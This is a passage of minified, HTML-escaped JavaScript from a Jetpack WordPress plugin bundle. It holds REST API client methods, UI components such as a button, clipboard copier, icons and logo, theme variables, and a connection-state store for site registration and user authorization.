jetpack/v4/intro-offers`,i).then(p).then(h),fetchVerifySiteGoogleStatus:e=&gt;d(null!==e?`${s}jetpack/v4/verify-site/google/${e}`:`${s}jetpack/v4/verify-site/google`,i).then(p).then(h),verifySiteGoogle:e=&gt;m(`${s}jetpack/v4/verify-site/google`,l,{body:JSON.stringify({keyring_id:e})}).then(p).then(h),submitSurvey:e=&gt;m(`${s}jetpack/v4/marketing/survey`,l,{body:JSON.stringify(e)}).then(p).then(h),saveSetupQuestionnaire:e=&gt;m(`${s}jetpack/v4/setup/questionnaire`,l,{body:JSON.stringify(e)}).then(p).then(h),updateLicensingError:e=&gt;m(`${s}jetpack/v4/licensing/error`,l,{body:JSON.stringify(e)}).then(p).then(h),updateLicenseKey:e=&gt;m(`${s}jetpack/v4/licensing/set-license`,l,{body:JSON.stringify({license:e})}).then(p).then(h),getUserLicensesCounts:()=&gt;d(`${s}jetpack/v4/licensing/user/counts`,i).then(p).then(h),getUserLicenses:()=&gt;d(`${s}jetpack/v4/licensing/user/licenses`,i).then(p).then(h),updateLicensingActivationNoticeDismiss:e=&gt;m(`${s}jetpack/v4/licensing/user/activation-notice-dismiss`,l,{body:JSON.stringify({last_detached_count:e})}).then(p).then(h),updateRecommendationsStep:e=&gt;m(`${s}jetpack/v4/recommendations/step`,l,{body:JSON.stringify({step:e})}).then(p),confirmIDCSafeMode:()=&gt;m(`${s}jetpack/v4/identity-crisis/confirm-safe-mode`,l).then(p),startIDCFresh:e=&gt;m(`${s}jetpack/v4/identity-crisis/start-fresh`,l,{body:JSON.stringify({redirect_uri:e})}).then(p).then(h),migrateIDC:()=&gt;m(`${s}jetpack/v4/identity-crisis/migrate`,l).then(p),attachLicenses:e=&gt;m(`${s}jetpack/v4/licensing/attach-licenses`,l,{body:JSON.stringify({licenses:e})}).then(p).then(h),fetchSearchPlanInfo:()=&gt;d(`${o}jetpack/v4/search/plan`,i).then(p).then(h),fetchSearchSettings:()=&gt;d(`${o}jetpack/v4/search/settings`,i).then(p).then(h),updateSearchSettings:e=&gt;m(`${o}jetpack/v4/search/settings`,l,{body:JSON.stringify(e)}).then(p).then(h),fetchSearchStats:()=&gt;d(`${o}jetpack/v4/search/stats`,i).then(p).then(h),fetchWafSettings:()=&gt;d(`${s}jetpack/v4/waf`,i).then(p).then(h),updateWafSettings:e=&gt;m(`${s}jetpack/v4/waf`,l,{body:JSON.stringify(e)}).then(p).then(h),fetchWordAdsSettings:()=&gt;d(`${s}jetpack/v4/wordads/settings`,i).then(p).then(h),updateWordAdsSettings:e=&gt;m(`${s}jetpack/v4/wordads/settings`,l,{body:JSON.stringify(e)}),fetchSearchPricing:()=&gt;d(`${o}jetpack/v4/search/pricing`,i).then(p).then(h),fetchMigrationStatus:()=&gt;d(`${s}jetpack/v4/migration/status`,i).then(p).then(h),fetchBackupUndoEvent:()=&gt;d(`${s}jetpack/v4/site/backup/undo-event`,i).then(p).then(h),fetchBackupPreflightStatus:()=&gt;d(`${s}jetpack/v4/site/backup/preflight`,i).then(p).then(h)};function d(e,t){return fetch(c(e),t)}function m(e,t,s){return fetch(e,Object.assign({},t,s)).catch(g)}function f(e){return e.general&amp;&amp;void 0===e.general.response||e.week&amp;&amp;void 0===e.week.response||e.month&amp;&amp;void 0===e.month.response?e:{}}Object.assign(this,u)};function p(e){return e.status&gt;=200&amp;&amp;e.status&lt;300?e:404===e.status?new Promise(()=&gt;{throw e.redirected?new c(e.redirected):new l}):e.json().catch(e=&gt;m(e)).then(t=&gt;{const s=new Error(`${t.message} (Status ${e.status})`);throw s.response=t,s.name=&quot;ApiError&quot;,s})}function h(e){return e.json().catch(t=&gt;m(t,e.redirected,e.url))}function m(e,t,s){throw t?new i(s):new a}function g(){throw new u}},51112(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(56427),n=s(27723),o=s(13109),a=s(1866),i=s(13022),l=s(51609),c=s(85488),u=s(10790);const __=n.__,d=(0,l.forwardRef)((e,t)=&gt;{const{children:s,variant:n=&quot;primary&quot;,size:l=&quot;normal&quot;,weight:d=&quot;bold&quot;,icon:p,iconSize:h,disabled:m,isDestructive:g,isLoading:f,isExternalLink:b,className:v,text:k,fullWidth:y,...x}=e,j=(0,i.A)(c.A.button,v,{[c.A.normal]:&quot;normal&quot;===l,[c.A.small]:&quot;small&quot;===l,[c.A.icon]:Boolean(p),[c.A.loading]:f,[c.A.regular]:&quot;regular&quot;===d,[c.A[&quot;full-width&quot;]]:y,[c.A[&quot;is-icon-button&quot;]]:Boolean(p)&amp;&amp;!s}),w=&quot;normal&quot;===l?20:16,_=b&amp;&amp;(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(o.A,{size:w,icon:a.A,className:c.A[&quot;external-icon&quot;]}),(0,u.jsx)(r.VisuallyHidden,{as:&quot;span&quot;,children:/* translators: accessibility text */
__(&quot;(opens in a new tab)&quot;,&quot;jetpack&quot;)})]}),C=b?&quot;_blank&quot;:void 0,A=s?.[0]&amp;&amp;null!==s[0]&amp;&amp;&quot;components-tooltip&quot;!==s?.[0]?.props?.className,S={ref:t,target:C,variant:n,className:(0,i.A)(j,{&quot;has-text&quot;:!!p&amp;&amp;A}),icon:b?void 0:p,iconSize:h,disabled:m,&quot;aria-disabled&quot;:m,isDestructive:g,text:k,...x};return(0,u.jsxs)(r.Button,{...S,children:[f&amp;&amp;(0,u.jsx)(r.Spinner,{}),(0,u.jsx)(&quot;span&quot;,{children:s}),_]})});d.displayName=&quot;Button&quot;;const p=d},69222(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(29491),n=s(86087),o=s(27723),a=s(51112),i=s(78478),l=s(10790);const __=o.__,c=({buttonStyle:e=&quot;icon&quot;,textToCopy:t,onCopy:s,...o})=&gt;{const[c,u]=(0,n.useState)(!1),d=(0,n.useRef)(),p=(0,r.useCopyToClipboard)(t,()=&gt;{d.current&amp;&amp;clearTimeout(d.current),u(!0),s?.(),d.current=setTimeout(()=&gt;{u(!1),d.current=void 0},3e3)});(0,n.useEffect)(()=&gt;()=&gt;{d.current&amp;&amp;clearTimeout(d.current)},[]);let h=null,m=null;&quot;text&quot;!==e&amp;&amp;(h=c?(0,l.jsx)(i.Nr,{}):(0,l.jsx)(i.ui,{}));const g=__(&quot;Copy to clipboard&quot;,&quot;jetpack&quot;);return&quot;icon&quot;!==e&amp;&amp;(m=c?__(&quot;Copied!&quot;,&quot;jetpack&quot;):g),(0,l.jsx)(a.A,{&quot;aria-label&quot;:g,icon:h,children:m,ref:p,...o})}},78478(e,t,s){&quot;use strict&quot;;s.d(t,{Nr:()=&gt;l,ui:()=&gt;c});var r=s(56427),n=s(13022),o=(s(84705),s(56058)),a=s(10790);const i=({className:e,size:t=24,viewBox:s=&quot;0 0 24 24&quot;,opacity:i=1,color:l=&quot;#2C3338&quot;,children:c})=&gt;{const u={className:(0,n.A)(o.A.iconWrapper,e),width:t,height:t,viewBox:s,opacity:i,fill:void 0};return l&amp;&amp;(u.fill=l),(0,a.jsx)(r.SVG,{...u,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,a.jsx)(r.G,{opacity:i,children:c})})},l=({size:e,className:t=o.A[&quot;checkmark-icon&quot;],color:s})=&gt;(0,a.jsx)(i,{className:t,size:e,color:s,children:(0,a.jsx)(r.Path,{d:&quot;M11 17.768l-4.884-4.884 1.768-1.768L11 14.232l8.658-8.658C17.823 3.39 15.075 2 12 2 6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10c0-1.528-.353-2.97-.966-4.266L11 17.768z&quot;})}),c=({size:e,className:t=o.A[&quot;clipboard-icon&quot;],color:s})=&gt;(0,a.jsx)(i,{className:t,size:e,color:s,children:(0,a.jsx)(r.Path,{d:&quot;M5.625 5.5H15.375C15.444 5.5 15.5 5.55596 15.5 5.625V15.375C15.5 15.444 15.444 15.5 15.375 15.5H5.625C5.55596 15.5 5.5 15.444 5.5 15.375V5.625C5.5 5.55596 5.55596 5.5 5.625 5.5ZM4 5.625C4 4.72754 4.72754 4 5.625 4H15.375C16.2725 4 17 4.72754 17 5.625V10V15.375C17 16.2725 16.2725 17 15.375 17C15.375 17 6.52246 17 5.625 17C4.72754 17 4 16.2725 4 15.375V5.625ZM18.5 17.2812V8.28125H20V17.2812C20 18.7995 18.7704 20 17.2511 20H6.25V18.5H17.2511C17.9409 18.5 18.5 17.9721 18.5 17.2812Z&quot;})})},67142(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(13022),o=s(10790);const __=r.__,a=({logoColor:e=&quot;#069e08&quot;,showText:t=!0,className:s,height:r=32,title:a,...i})=&gt;{const l=t?&quot;0 0 118 32&quot;:&quot;0 0 32 32&quot;,c=a??__(&quot;Jetpack Logo&quot;,&quot;jetpack&quot;);return(0,o.jsxs)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,x:&quot;0px&quot;,y:&quot;0px&quot;,viewBox:l,className:(0,n.A)(&quot;jetpack-logo&quot;,s),&quot;aria-labelledby&quot;:&quot;jetpack-logo-title&quot;,height:r,...i,role:&quot;img&quot;,children:[(0,o.jsx)(&quot;title&quot;,{id:&quot;jetpack-logo-title&quot;,children:c}),(0,o.jsx)(&quot;path&quot;,{fill:e,d:&quot;M16,0C7.2,0,0,7.2,0,16s7.2,16,16,16s16-7.2,16-16S24.8,0,16,0z M15,19H7l8-16V19z M17,29V13h8L17,29z&quot;}),t&amp;&amp;(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(&quot;path&quot;,{d:&quot;M41.3,26.6c-0.5-0.7-0.9-1.4-1.3-2.1c2.3-1.4,3-2.5,3-4.6V8h-3V6h6v13.4C46,22.8,45,24.8,41.3,26.6z&quot;}),(0,o.jsx)(&quot;path&quot;,{d:&quot;M65,18.4c0,1.1,0.8,1.3,1.4,1.3c0.5,0,2-0.2,2.6-0.4v2.1c-0.9,0.3-2.5,0.5-3.7,0.5c-1.5,0-3.2-0.5-3.2-3.1V12H60v-2h2.1V7.1 H65V10h4v2h-4V18.4z&quot;}),(0,o.jsx)(&quot;path&quot;,{d:&quot;M71,10h3v1.3c1.1-0.8,1.9-1.3,3.3-1.3c2.5,0,4.5,1.8,4.5,5.6s-2.2,6.3-5.8,6.3c-0.9,0-1.3-0.1-2-0.3V28h-3V10z M76.5,12.3 c-0.8,0-1.6,0.4-2.5,1.2v5.9c0.6,0.1,0.9,0.2,1.8,0.2c2,0,3.2-1.3,3.2-3.9C79,13.4,78.1,12.3,76.5,12.3z&quot;}),(0,o.jsx)(&quot;path&quot;,{d:&quot;M93,22h-3v-1.5c-0.9,0.7-1.9,1.5-3.5,1.5c-1.5,0-3.1-1.1-3.1-3.2c0-2.9,2.5-3.4,4.2-3.7l2.4-0.3v-0.3c0-1.5-0.5-2.3-2-2.3 c-0.7,0-2.3,0.5-3.7,1.1L84,11c1.2-0.4,3-1,4.4-1c2.7,0,4.6,1.4,4.6,4.7L93,22z M90,16.4l-2.2,0.4c-0.7,0.1-1.4,0.5-1.4,1.6 c0,0.9,0.5,1.4,1.3,1.4s1.5-0.5,2.3-1V16.4z&quot;}),(0,o.jsx)(&quot;path&quot;,{d:&quot;M104.5,21.3c-1.1,0.4-2.2,0.6-3.5,0.6c-4.2,0-5.9-2.4-5.9-5.9c0-3.7,2.3-6,6.1-6c1.4,0,2.3,0.2,3.2,0.5V13 c-0.8-0.3-2-0.6-3.2-0.6c-1.7,0-3.2,0.9-3.2,3.6c0,2.9,1.5,3.8,3.3,3.8c0.9,0,1.9-0.2,3.2-0.7V21.3z&quot;}),(0,o.jsx)(&quot;path&quot;,{d:&quot;M110,15.2c0.2-0.3,0.2-0.8,3.8-5.2h3.7l-4.6,5.7l5,6.3h-3.7l-4.2-5.8V22h-3V6h3V15.2z&quot;}),(0,o.jsx)(&quot;path&quot;,{d:&quot;M58.5,21.3c-1.5,0.5-2.7,0.6-4.2,0.6c-3.6,0-5.8-1.8-5.8-6c0-3.1,1.9-5.9,5.5-5.9s4.9,2.5,4.9,4.9c0,0.8,0,1.5-0.1,2h-7.3 c0.1,2.5,1.5,2.8,3.6,2.8c1.1,0,2.2-0.3,3.4-0.7C58.5,19,58.5,21.3,58.5,21.3z M56,15c0-1.4-0.5-2.9-2-2.9c-1.4,0-2.3,1.3-2.4,2.9 C51.6,15,56,15,56,15z&quot;})]})]})}},60442(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(29491),n=s(39029);const o=[&quot;sm&quot;,&quot;md&quot;,&quot;lg&quot;],a=(e,t)=&gt;{const s=Array.isArray(e)?e:[e],a=Array.isArray(t)?t:[t],[i,l,c]=o,u={sm:(0,r.useMediaQuery)(n.A[i]),md:(0,r.useMediaQuery)(n.A[l]),lg:(0,r.useMediaQuery)(n.A[c])};return s.map((e,t)=&gt;{const s=a[t];return s?((e,t,s)=&gt;{const r=o.indexOf(e),n=r+1,a=t.includes(&quot;=&quot;);let i=[];return t.startsWith(&quot;&lt;&quot;)&amp;&amp;(i=o.slice(0,a?n:r)),t.startsWith(&quot;&gt;&quot;)&amp;&amp;(i=o.slice(a?r:n)),i?.length?i.some(e=&gt;s[e]):s[e]})(e,s,u):u[e]})}},11876(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(13022),n=s(13372),o=s(10790);const a=({children:e=null,width:t=null,height:s=null,className:a=&quot;&quot;})=&gt;(0,o.jsx)(&quot;div&quot;,{className:(0,r.A)(n.A.placeholder,a),style:{width:t,height:s},children:e})},36281(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(86221),n=s(10790);const o=({value:e=&quot;https://jetpack.com&quot;,size:t=248,bgColor:s,fgColor:o,level:a,includeMargin:i,imageSettings:l,renderAs:c=&quot;canvas&quot;})=&gt;{const u={value:e,size:t,bgColor:s,fgColor:o,level:a,includeMargin:i,imageSettings:l};return&quot;svg&quot;===c?(0,n.jsx)(r.h,{...u}):(0,n.jsx)(r.X,{...u})}},50723(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;p});var r=s(51609),n=s(74116),o=s(10790);const a={&quot;--font-headline-medium&quot;:&quot;48px&quot;,&quot;--font-headline-small&quot;:&quot;36px&quot;,&quot;--font-title-medium&quot;:&quot;24px&quot;,&quot;--font-title-small&quot;:&quot;20px&quot;,&quot;--font-body&quot;:&quot;16px&quot;,&quot;--font-body-small&quot;:&quot;14px&quot;,&quot;--font-body-extra-small&quot;:&quot;12px&quot;,&quot;--font-title-large&quot;:&quot;var(--font-headline-small)&quot;,&quot;--font-label&quot;:&quot;var(--font-body-extra-small)&quot;},i={&quot;--jp-black&quot;:&quot;#000000&quot;,&quot;--jp-black-80&quot;:&quot;#2c3338&quot;,&quot;--jp-white&quot;:&quot;#ffffff&quot;,&quot;--jp-white-off&quot;:&quot;#f9f9f6&quot;,&quot;--jp-gray&quot;:&quot;#dcdcde&quot;,&quot;--jp-gray-0&quot;:&quot;#F6F7F7&quot;,&quot;--jp-gray-5&quot;:&quot;var(--jp-gray)&quot;,&quot;--jp-gray-10&quot;:&quot;#C3C4C7&quot;,&quot;--jp-gray-20&quot;:&quot;#A7AAAD&quot;,&quot;--jp-gray-40&quot;:&quot;#787C82&quot;,&quot;--jp-gray-50&quot;:&quot;#646970&quot;,&quot;--jp-gray-60&quot;:&quot;#50575E&quot;,&quot;--jp-gray-70&quot;:&quot;#3C434A&quot;,&quot;--jp-gray-80&quot;:&quot;#2C3338&quot;,&quot;--jp-gray-90&quot;:&quot;#1d2327&quot;,&quot;--jp-gray-off&quot;:&quot;#e2e2df&quot;,&quot;--jp-red-0&quot;:&quot;#F7EBEC&quot;,&quot;--jp-red-5&quot;:&quot;#FACFD2&quot;,&quot;--jp-red-40&quot;:&quot;#E65054&quot;,&quot;--jp-red-50&quot;:&quot;#D63638&quot;,&quot;--jp-red-60&quot;:&quot;#B32D2E&quot;,&quot;--jp-red-70&quot;:&quot;#8A2424&quot;,&quot;--jp-red-80&quot;:&quot;#691C1C&quot;,&quot;--jp-red&quot;:&quot;#d63639&quot;,&quot;--jp-yellow-5&quot;:&quot;#F5E6B3&quot;,&quot;--jp-yellow-10&quot;:&quot;#F2CF75&quot;,&quot;--jp-yellow-20&quot;:&quot;#F0C930&quot;,&quot;--jp-yellow-30&quot;:&quot;#DEB100&quot;,&quot;--jp-yellow-40&quot;:&quot;#C08C00&quot;,&quot;--jp-yellow-50&quot;:&quot;#9D6E00&quot;,&quot;--jp-yellow-60&quot;:&quot;#7D5600&quot;,&quot;--jp-blue-20&quot;:&quot;#68B3E8&quot;,&quot;--jp-blue-40&quot;:&quot;#1689DB&quot;,&quot;--jp-pink&quot;:&quot;#C9356E&quot;,&quot;--jp-green-0&quot;:&quot;#f0f2eb&quot;,&quot;--jp-green-5&quot;:&quot;#d0e6b8&quot;,&quot;--jp-green-10&quot;:&quot;#9dd977&quot;,&quot;--jp-green-20&quot;:&quot;#64ca43&quot;,&quot;--jp-green-30&quot;:&quot;#2fb41f&quot;,&quot;--jp-green-40&quot;:&quot;#069e08&quot;,&quot;--jp-green-50&quot;:&quot;#008710&quot;,&quot;--jp-green-60&quot;:&quot;#007117&quot;,&quot;--jp-green-70&quot;:&quot;#005b18&quot;,&quot;--jp-green-80&quot;:&quot;#004515&quot;,&quot;--jp-green-90&quot;:&quot;#003010&quot;,&quot;--jp-green-100&quot;:&quot;#001c09&quot;,&quot;--jp-green&quot;:&quot;#069e08&quot;,&quot;--jp-green-primary&quot;:&quot;var( --jp-green-40 )&quot;,&quot;--jp-green-secondary&quot;:&quot;var( --jp-green-30 )&quot;},l={&quot;--jp-border-radius&quot;:&quot;4px&quot;,&quot;--jp-menu-border-height&quot;:&quot;1px&quot;,&quot;--jp-underline-thickness&quot;:&quot;2px&quot;},c={&quot;--spacing-base&quot;:&quot;8px&quot;},u={},d=(e,t,s)=&gt;{const r={...a,...i,...l,...c};for(const t in r)e.style.setProperty(t,r[t]);s&amp;&amp;e.classList.add(n.A.global),t&amp;&amp;(u[t]={provided:!0,root:e})},p=({children:e=null,targetDom:t,id:s,withGlobalStyles:n=!0})=&gt;{const a=(0,r.useRef)(),i=u?.[s]?.provided;return(0,r.useLayoutEffect)(()=&gt;{if(!i)return t?d(t,s,n):void(a?.current&amp;&amp;d(a.current,s,n))},[t,a,i,s,n]),t?(0,o.jsx)(o.Fragment,{children:e}):(0,o.jsx)(&quot;div&quot;,{ref:a,children:e})}},3924(e,t,s){&quot;use strict&quot;;function r(e,t={}){const s={};let r;if(&quot;undefined&quot;!=typeof window&amp;&amp;(r=window?.JP_CONNECTION_INITIAL_STATE?.calypsoEnv),0===e.search(&quot;https://&quot;)){const t=new URL(e);e=`https://${t.host}${t.pathname}`,s.url=encodeURIComponent(e)}else s.source=encodeURIComponent(e);for(const e in t)s[e]=encodeURIComponent(t[e]);!Object.keys(s).includes(&quot;site&quot;)&amp;&amp;&quot;undefined&quot;!=typeof jetpack_redirects&amp;&amp;Object.hasOwn(jetpack_redirects,&quot;currentSiteRawUrl&quot;)&amp;&amp;(s.site=jetpack_redirects.currentBlogID??jetpack_redirects.currentSiteRawUrl),r&amp;&amp;(s.calypso_env=r);return&quot;https://jetpack.com/redirect/?&quot;+Object.keys(s).map(e=&gt;e+&quot;=&quot;+s[e]).join(&quot;&amp;&quot;)}s.d(t,{A:()=&gt;r})},56439(e,t,s){let r={};try{r=s(74277)}catch{console.error(&quot;jetpackConfig is missing in your webpack config file. See @automattic/jetpack-config&quot;),r={missingConfig:!0}}const n=e=&gt;Object.hasOwn(r,e);e.exports={jetpackConfigHas:n,jetpackConfigGet:e=&gt;{if(!n(e))throw&#039;This app requires the &quot;&#039;+e+&#039;&quot; Jetpack Config to be defined in your webpack configuration file. See details in @automattic/jetpack-config package docs.&#039;;return r[e]}}},14882(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(5932),n=s(97999),o=s(47143),a=s(51609),i=s(34293);const l=window?.JP_CONNECTION_INITIAL_STATE||(0,n.getScriptData)()?.connection||{};function c({registrationNonce:e=l.registrationNonce,apiRoot:t=l.apiRoot,apiNonce:s=l.apiNonce,redirectUri:n,autoTrigger:c,from:u,skipUserConnection:d,skipPricingPage:p}={}){const{registerSite:h,connectUser:m,refreshConnectedPlugins:g}=(0,o.useDispatch)(i.a),f=(0,o.useSelect)(e=&gt;e(i.a).getRegistrationError(),[]),{siteIsRegistering:b,userIsConnecting:v,userConnectionData:k,connectedPlugins:y,connectionErrors:x,isRegistered:j,isUserConnected:w,hasConnectedOwner:_,isOfflineMode:C}=(0,o.useSelect)(e=&gt;{const t=e(i.a).getConnectionStatus();return{siteIsRegistering:e(i.a).getSiteIsRegistering(),userIsConnecting:e(i.a).getUserIsConnecting(),userConnectionData:e(i.a).getUserConnectionData()||{},connectedPlugins:e(i.a).getConnectedPlugins(),connectionErrors:e(i.a).getConnectionErrors(),isOfflineMode:e(i.a).getIsOfflineMode(),isRegistered:t.isRegistered??!1,isUserConnected:t.isUserConnected??!1,hasConnectedOwner:t.hasConnectedOwner??!1}},[]),A=()=&gt;d?n?(window.location.href=n,Promise.resolve(n)):Promise.resolve():m({from:u,redirectUri:n,skipPricingPage:p}),S=t=&gt;(t&amp;&amp;t.preventDefault(),j?A():h({registrationNonce:e,redirectUri:n,from:u}).then(()=&gt;A()));return(0,a.useEffect)(()=&gt;{r.Ay.setApiRoot(t),r.Ay.setApiNonce(s)},[t,s]),(0,a.useEffect)(()=&gt;{!c||b||v||S()},[]),{handleRegisterSite:S,handleConnectUser:A,refreshConnectedPlugins:g,isRegistered:j,isUserConnected:w,siteIsRegistering:b,userIsConnecting:v,registrationError:f,userConnectionData:k,hasConnectedOwner:_,connectedPlugins:y,connectionErrors:x,isOfflineMode:C}}},33935(e,t,s){&quot;use strict&quot;;s.d(t,{A1:()=&gt;l,Ay:()=&gt;j,DO:()=&gt;i,Ij:()=&gt;a,Kl:()=&gt;h,LW:()=&gt;c,MU:()=&gt;m,XY:()=&gt;u,ZO:()=&gt;o,dz:()=&gt;d,gH:()=&gt;p,v_:()=&gt;n});var r=s(5932);const n=&quot;SET_CONNECTION_STATUS&quot;,o=&quot;SET_CONNECTION_STATUS_IS_FETCHING&quot;,a=&quot;SET_SITE_IS_REGISTERING&quot;,i=&quot;SET_USER_IS_CONNECTING&quot;,l=&quot;SET_REGISTRATION_ERROR&quot;,c=&quot;CLEAR_REGISTRATION_ERROR&quot;,u=&quot;SET_AUTHORIZATION_URL&quot;,d=&quot;DISCONNECT_USER_SUCCESS&quot;,p=&quot;SET_CONNECTED_PLUGINS&quot;,h=&quot;SET_CONNECTION_ERRORS&quot;,m=&quot;SET_IS_OFFLINE_MODE&quot;,g=e=&gt;({type:n,connectionStatus:e}),f=e=&gt;({type:a,isRegistering:e}),b=e=&gt;({type:i,isConnecting:e}),v=e=&gt;({type:l,registrationError:e}),k=()=&gt;({type:c}),y=e=&gt;({type:u,authorizationUrl:e}),x=e=&gt;({type:p,connectedPlugins:e});const j={setConnectionStatus:g,setConnectionStatusIsFetching:e=&gt;({type:o,isFetching:e}),fetchConnectionStatus:()=&gt;({type:&quot;FETCH_CONNECTION_STATUS&quot;}),fetchAuthorizationUrl:e=&gt;({type:&quot;FETCH_AUTHORIZATION_URL&quot;,redirectUri:e}),setSiteIsRegistering:f,setUserIsConnecting:b,setRegistrationError:v,clearRegistrationError:k,setAuthorizationUrl:y,registerSite:function*({registrationNonce:e,redirectUri:t,from:s=&quot;&quot;}){yield k(),yield f(!0);try{const r=yield{type:&quot;REGISTER_SITE&quot;,registrationNonce:e,redirectUri:t,from:s};return yield g({isRegistered:!0}),yield y(r.authorizeUrl),yield f(!1),Promise.resolve(r)}catch(e){return yield v(e),yield f(!1),Promise.reject(e)}},connectUser:function*({from:e,redirectFunc:t,redirectUri:s,skipPricingPage:r}={}){yield b(!0),yield{type:&quot;CONNECT_USER&quot;,from:e,redirectFunc:t,redirectUri:s,skipPricingPage:r}},disconnectUserSuccess:()=&gt;({type:d}),setConnectedPlugins:x,refreshConnectedPlugins:()=&gt;async({dispatch:e})=&gt;await new Promise(t=&gt;r.Ay.fetchConnectedPlugins().then(s=&gt;{e(x(s)),t(s)})),setConnectionErrors:e=&gt;({type:h,connectionErrors:e}),setIsOfflineMode:e=&gt;({type:m,isOfflineMode:e})}},27938(e,t,s){&quot;use strict&quot;;function r(e){return window.location.assign(e)}s.d(t,{d:()=&gt;r})},22494(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(5932),n=s(47143),o=s(27938),a=s(32279);const i={FETCH_AUTHORIZATION_URL:({redirectUri:e})=&gt;r.Ay.fetchAuthorizationUrl(e),REGISTER_SITE:({redirectUri:e,from:t})=&gt;r.Ay.registerSite(null,e,t),CONNECT_USER:(0,n.createRegistryControl)(({resolveSelect:e})=&gt;({from:t,redirectFunc:s,redirectUri:r,skipPricingPage:n}={})=&gt;new Promise((i,l)=&gt;{e(a.A).getAuthorizationUrl(r).then(e=&gt;{const r=s||(e=&gt;(0,o.d)(e)),a=new URL(e);n&amp;&amp;a.searchParams.set(&quot;skip_pricing&quot;,&quot;true&quot;),t&amp;&amp;a.searchParams.set(&quot;from&quot;,encodeURIComponent(t));const l=a.toString();r(l),i(l)}).catch(e=&gt;{l(e)})}))}},5051(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(47143),n=s(33935);const o=(0,r.combineReducers)({connectionStatus:(e={},t)=&gt;{switch(t.type){case n.v_:return{...e,...t.connectionStatus};case n.dz:return{...e,isUserConnected:!1}}return e},connectionStatusIsFetching:(e=!1,t)=&gt;t.type===n.ZO?t.isFetching:e,siteIsRegistering:(e=!1,t)=&gt;t.type===n.Ij?t.isRegistering:e,userIsConnecting:(e=!1,t)=&gt;t.type===n.DO?t.isConnecting:e,registrationError:(e,t)=&gt;{switch(t.type){case n.LW:return!1;case n.A1:return t.registrationError;default:return e}},authorizationUrl:(e,t)=&gt;t.type===n.XY?t.authorizationUrl:e,userConnectionData:(e,t)=&gt;(t.type,e),connectedPlugins:(e={},t)=&gt;t.type===n.gH?t.connectedPlugins:e,connectionErrors:(e={},t)=&gt;t.type===n.Kl?t.connectionErrors:e,isOfflineMode:(e=!1,t)=&gt;t.type===n.MU?t.isConnecting:e})},58019(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(47143),n=s(33935),o=s(32279);const a={...{getAuthorizationUrl:{isFulfilled:(e,...t)=&gt;{const s=Boolean(e.authorizationUrl),n=(0,r.select)(o.A).hasFinishedResolution(&quot;getAuthorizationUrl&quot;,t);return s&amp;&amp;!n&amp;&amp;(0,r.dispatch)(o.A).finishResolution(&quot;getAuthorizationUrl&quot;,t),s},*fulfill(e){const t=yield n.Ay.fetchAuthorizationUrl(e);yield n.Ay.setAuthorizationUrl(t.authorizeUrl)}}}}},52676(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={...{getConnectionStatus:e=&gt;e.connectionStatus||{},getConnectionStatusIsFetching:()=&gt;!1,getSiteIsRegistering:e=&gt;e.siteIsRegistering||!1,getUserIsConnecting:e=&gt;e.userIsConnecting||!1,getRegistrationError:e=&gt;e.registrationError||!1,getAuthorizationUrl:e=&gt;e.authorizationUrl||!1,getUserConnectionData:e=&gt;e.userConnectionData||!1,getConnectedPlugins:e=&gt;e.connectedPlugins||[],getConnectionErrors:e=&gt;e.connectionErrors||[],getIsOfflineMode:e=&gt;e.isOfflineMode||!1,getWpcomUser:e=&gt;e?.userConnectionData?.currentUser?.wpcomUser,getBlogId:e=&gt;e?.userConnectionData?.currentUser?.blogId}}},18734(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(47143);class n{static store=null;static mayBeInit(e,t){null===n.store&amp;&amp;(n.store=(0,r.createReduxStore)(e,t),(0,r.register)(n.store))}}const o=n},32279(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=&quot;jetpack-connection&quot;},34293(e,t,s){&quot;use strict&quot;;s.d(t,{a:()=&gt;u.A});var r=s(97999),n=s(33935),o=s(22494),a=s(5051),i=s(58019),l=s(52676),c=s(18734),u=s(32279);const d=window.JP_CONNECTION_INITIAL_STATE||(0,r.getScriptData)()?.connection;d||console.error(&quot;Jetpack Connection package: Initial state is missing. Check documentation to see how to use the Connection composer package to set up the initial state.&quot;),c.A.mayBeInit(u.A,{__experimentalUseThunks:!0,reducer:a.A,actions:n.Ay,selectors:l.A,resolvers:i.A,controls:o.A,initialState:d||{}})},63673(e,t,s){&quot;use strict&quot;;s.d(t,{FALLBACK_CURRENCY:()=&gt;n,FALLBACK_LOCALE:()=&gt;r});s(38443);const r=&quot;en&quot;,n=&quot;USD&quot;},11452(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(63673),n=s(49980),o=s(91167);const a=function(){let e,t;const s=()=&gt;{const t=&quot;undefined&quot;!=typeof window?window.wp?.date?.getSettings?.()?.l10n?.locale:void 0,s=&quot;undefined&quot;!=typeof window?window?.navigator?.language:void 0;return(e??(t||s)??r.FALLBACK_LOCALE).split(&quot;_&quot;)[0]};return{setLocale:t=&gt;{e=t},setGeoLocation:e=&gt;{t=e},formatNumber:(e,{decimals:t=0,forceLatin:r=!0,numberFormatOptions:n={}}={})=&gt;{try{return(0,o.j)({browserSafeLocale:s(),decimals:t,forceLatin:r,numberFormatOptions:n}).format(e)}catch{return 